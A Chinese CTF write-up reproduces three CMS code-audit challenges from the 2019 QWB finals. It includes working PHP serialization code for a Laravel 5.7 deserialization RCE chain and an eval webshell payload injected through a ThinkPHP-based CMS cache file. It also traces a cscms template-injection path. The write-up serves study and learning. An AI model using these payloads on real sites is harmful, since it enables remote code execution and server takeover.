2019第三届强网杯线下3道RW

Mi0发布

感谢师傅们的复现环境

链接: https://pan.baidu.com/s/1mcHEJ1fmWtw4ZOMkEEcH4Q 密码: fl0c

题是三道cms代码审计,比传统的ctf更贴切实战,跟着学了一遍收获非常多

Laravel

首先搭建这道题使用的是laravel框架,因此对于windows要进行一定的配置

先下载下composer,连接:https://docs.phpcomposer.com/00-intro.html#Installation-Windows

对于phpstudy开启

1561449042262

重启下服务器,在解压到的WEB路径下的Laravel-5.7/目录下运行下面的命令

>composer install
>php -S 0.0.0.0:8000 -t public

即可看到题目

1561449042262

这道题考察点是php的反序列化的pop构建,触发点是从二次开发的代码,攻击链构造是通过Laravel-5.7框架自身的代码逻辑实现的

详细细节参考这篇博客:https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/

第一次接触这个框架,咱也不知道web页面在哪,于是只好翻翻路由

1561449370809

在浏览器中访问下该路径

1561449402903

能拿到源码,而且可以发现反序列化参数可控,根据命令空间可以在phpstorm中找到对应后台文件

1561449490216

根据上面的文章知道是反序列化了,于是下几个断点看看,首先看\vendor\laravel\framework\src\Illuminate\Foundation\TestingPendingCommand.php

在最底下有个__destruct运行了run()

1561450793276

再看看类中的run()方法的写法

1561451036642

这里的appcommandparameters是类中的变量,Kernel::class是个接口

这里看变量名字,估计原来的程度逻辑command是函数,parameters是参数

我们要构造命令执行,也就是

this->cpmmand = "system"
this->parameters = "ls" 

先写个雏形

<?php
    namespace Illuminate\Foundation\Testing;
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;
        protected $expectedExitCode;
        protected $hasExecuted = false;

        public function __construct($test, $app, $command, $parameters)
        {
            $this->app = $app;
            $this->test = $test;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }

    $clazz1 = new PendingCommand("test", "app", "system", "ls");
    echo urlencode(serialize($clazz1));
?>

能够运行到目标上还不错

1561451616737

接下来进入到了$this->mockConsoleOutput()中,第一句代码就死掉了

1561451927320

查看下Mockery::mock()函数,是个call_user_func_array()函数

1561451959332

而刚刚的mockConsoleOutput()第一行代码参数里面带$this->createABufferedOutputMock()跟进下

1561452057759

无论$this->test->expectedOutput也好,$this->test->expectedQuestions也好,可以使用__get()来使其有值,通过代码的正确性

那么__get()魔术方法可以从\vendor\laravel\framework\src\Illuminate\Auth\GenericUser这里找到

1561453897683

那么稍微重构下我们的payload,这里new ArrayInput($this->parameters)是需要parameters是数组,因此上面的payload对应的地方也改改

<?php
    namespace Illuminate\Auth;

    class GenericUser
    {
        protected $attributes;
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
    $arr = array('expectedOutput' => array("0"=>"1"), 'expectedQuestions' => array("0"=>"1"));
    $clazz1 = new GenericUser($arr);

    namespace Illuminate\Foundation\Testing;

    class PendingCommand{
        public $test;
        protected $app;
        protected $command;
        protected $parameters;
        protected $expectedExitCode;
        protected $hasExecuted = false;

        public function __construct($test, $app, $command, $parameters){
            $this->app = $app;
            $this->test = $test;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
    $clazz2 = new PendingCommand($clazz1, "app", "system", array("ls"));
    echo urlencode(serialize($clazz2));
?>

现在已经过了mockConsoleOutput()判定,但是在函数结束的时候还对app参数进行了操作

1561456636955

再回过头看$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);,文章细节中提到,将其拆成$this->app[Kernel::class]的时候会调用

\vendor\laravel\framework\src\IlluminateContainer\Foundation\Application中的resolve()函数,而这个函数是继承了\vendor\laravel\framework\src\IlluminateContainer\Container.php中的resolve()函数

1561460763440

而调用了getConcrete()函数,而我们需要对bindings[$abstract]['concrete']进行控制,而$abstract的值就是Illuminate\Contracts\Console\Kernel,所以我们能够利用二位数组控制['concrete']

1561457789876

当然这个类中也有上面报错的$this->app->bind()函数,所以$this->app估计就是这个继承类了

代码逻辑会从getConcrete()获取我们可控的值,进入isBuidable()中判断,当然不同

1561462220717

我们输入的不是Illuminate\Contracts\Console\Kernel,也不是Closure类,因此会返回false

于是出来后会走到$this->make()

1561462376956

之后会回到起先的$this->resolve()中,只是此时的$abstract不是Illuminate\Contracts\Console\Kernel,而是我们可控的类了

1561462466779

再次经过getConcrete()会从第三个return中出来,也就是值不会变,那么此时的$abstract$concrete值就是相同的,就会步入到$this->build()当中

1561462673844

而build中是调用了php的反射类ReflectionClass()

1561462888579

麻~,之后操作就是利用反射机制实例化我们可控的变量的类

那么到这一步回看刚刚那段执行的代码

$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
$this->app[Kernel::class] //可控,被反射生成的
$this->command             //可控
$this->parameters          //可控

那么就是要找到一个合适的call方法是能够代码执行的即可,文章中给出的是实例化IlluminateContainer\Foundation\Application类,因为该类的call方法是继承\IlluminateContainer\Container类中call方法

1561463359713

继续跟进下BoundMethod:call()方法,它跳转第二个return,这个会调用到call_user_func_array()

1561463550596

后面我跟进了static::getMethodDependencies()但无非会返回上面最先传进去的$parameters,而这里的$callback也就是我们传入的$command,至此已经可以命令执行了

最终的payload

<?php
    namespace Illuminate\Auth;

    class GenericUser
    {
        protected $attributes;
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
    $arr = array('expectedOutput' => array("0"=>"1"), 'expectedQuestions' => array("0"=>"1"));
    $clazz1 = new GenericUser($arr);

    namespace Illuminate\Foundation;

    class Application{
        protected $bindings = [];
        public function __construct($bindings){
            $this->bindings = $bindings;
        }
    }
    $clazz2 = new Application(array("Illuminate\Contracts\Console\Kernel" => array("concrete" => 'Illuminate\Foundation\Application')));

    namespace Illuminate\Foundation\Testing;

    class PendingCommand{
        public $test;
        protected $app;
        protected $command;
        protected $parameters;
        protected $expectedExitCode;
        protected $hasExecuted = false;

        public function __construct($test, $app, $command, $parameters){
            $this->app = $app;
            $this->test = $test;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
    $clazz3 = new PendingCommand($clazz1, $clazz2, "system", array("whoami"));
    echo urlencode(serialize($clazz3));
?>

利用生成的payload传入get中的code,因为windows我就没有用ls,直接用whoami验证

1561463831493

至此整个题目结束,膜一波挖到这个CVE洞的师傅,跟着跟进一波学习了很多

yxtcmf

题目提示说道后台admin和安装install都被删除了,那么就是一个前台getshell的漏洞了

看了一下源码是在thinkphp上进行的二次开发的cms,查看下发现是thinkphp3.2.3版本

1561471629302

thinkphp3thinkphp5均存在缓存文件导致的getshell, tp5是使用Cache::set,而tp3使用的是S()函数

而提供缓存文件功能的文件为\Core\Library\Think\Cache\Drvier\File.class.php

而提供S()方法的文件路径为\Core\Common\functions.php

1561473103301

可以看到S()方法是使用了$cahce这个对象,而这个对象是对应到Think\Cache.class.php目录下的Cache类,而上面提到的File.class.php中的File类又是继承Cache类的

仔细看S()函数,它其中对于$cache的声明使用的Think\Cache::getInstance(),而Think\Cache::getInstance()又调用了自己的connect(),而connect()中把$cache给声明为File对象了

1561531939507

S()写入缓存使用的是$cache->set(),而这个函数最终是调用了File类的set()函数(毕竟翻烂了Cache类也没这方法)

1561532130487

主要的几个函数找到了,还是debug调试才能更加清晰流程,先来测试一下,因为是thinkphp框架,根据路由,找个思路清晰的目录,我这里找的是\application\User\Controller\CenterController.class.php中的index(),当然访问这里要先注册下,之后再代码里面验证一下是不是该页面

1561532830345

1561532859178

在此我把这段代码改成S()缓存,用DEBUG查看下缓存文件的执行流程

1561533109474

之后执行了后会在Data\runtime\Temp\下生成个文件,而文件名就是'sijidou',md5后的值,文件内容如下

1561535037540

被注释了不是问题,可以用%0a%0d来换行,结尾因为进行了反序列化会有",但是可以通过//来注释掉,所以payload为

%0a%0deval($_GET[1]);//

1561535628766

成功生成缓存文件,并能能够命令执行了

刚刚的验证只是我们额外添加的,而对于这个CMS来说,我们要找打它调用S()函数的点,所以在function.php文件中对S()方法进行全局搜索

1561532437551

有46处,但是抛开内核和后台的代码,于是主要去看的就application\Common中的信息了,观察application\Common\function.php中的S()函数

1561532541049

继续查找调用了sp_set_dynamic_config()函数的地方,当然这里也要排除admininstall

1561535917931

测试User\ControllerTeacher\Controller那里面的一项,直接跳到了管理员界面所以也排除掉

所以最后只剩下Api里面的2个地方了,但里面的OauthadminController也是涉及到后台,所以排除

因此定位到的地方是application\Api\Controller\OauthController.class.php

找到利用的路径

127.0.0.1/yxtcms/index.php/api/oauth/injectionAuthocode

仔细看看application\Common\Common\function.phpsp_set_dynamic_config($data)函数,其中$data我们可控,直到最后,操作把$data的值加入到了$configs数组中,然后把$configs数组写入了缓存,因此我们是能够控制一部分写入的内容的,而sp_dynamic_config进行md5后的值为ed182ead0631e95e68e008bc1d3af012,所以文件名也能得到

1561537216428

至此,我们使用post传入poc

authoCode=%0a%0deval($_GET[1]);//

1561537467542

生成的文件没有问题1561537455300

可以代码执行了

1561537560077

cscms

题目提示:删除了install和admin

4.1版本后最新的高危漏洞的补丁是一个模板注入的漏洞

这道题安装环境琢磨了半天,最后发现高版本的php7.2在安装数据库时一直转圈圈,换成php5.4就能正常安装显示了

跟着思路先去官网上查下补丁,有个模板注入的高危漏洞,把补丁下载下来,使用文件对比工具比较下改动的地方

有三个地方有改动,config里面无非就是改个版本号,重点看看另外2个文件

1561549481235

CS_Input.php里面新加了对getpost的过滤规则

common_helper.php里面删除了get_file_mime()方法,以及对SQL注入新加了点waf还对返回的前端代码标签进行了细微修改

最主要的改动就是CS_Input.php里面的内容了,但是很明显触发点并不在这个文件中而php模板注入一般和可执行的eval()函数有关,因此我用Seay全局搜一下拎一下eval()函数带变量的地方

1561550363993

大概有这么一点,一个个看看

uc_client/下的2个调用的地方一个不可控,一个没有被调用,所以主要精力就是Csskins.php文件里面了

1561550756642

这个eval()前面并没什么特别多,传入的是函数的参数$content,跟踪下调用cscms_php()的地方,只有一处,也是Csskins.php文件里面

1561550851399

$php_arr[1][$i]最初是由$str参数传入的,再搜调用template_parse()的地方

又因为这个cms是在CI框架上二次开发的,所以调用template_parse()的地方大部分都是$this->load->view(),所以要有从前端获取的数值有我们的可控点即可

令人在意的文件在于Gbook.phpCstpl.php

最后是锁定Cstpl.php文件的gbook_list()函数

1561554445283

查下路由可以发现访问index.php/gbook即可触发,最先我以为是index.php/home/gbook才能触发,但是我发现直接使用index.php/就是访问的home()函数(orz这路由我也不太清楚)

1561552910474

显示gbook页面大概是这样的一个逻辑

调用gbook()函数显示整个框架,再调用gbook_list()函数显示留言

众所周知大部分留言都是存在数据库里面的,它会先从数据库里面取数据再进行渲染,所以留言

1561555392568

访问路径加个lists/,不然/gbook页面是一直转圈圈的

1561555555263

参考链接

https://xz.aliyun.com/t/5444

https://mp.weixin.qq.com/s/nuecZTuRTrbYqahzdwh7tw

https://www.4hou.com/web/18587.html

https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/

分类: ctf比赛

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注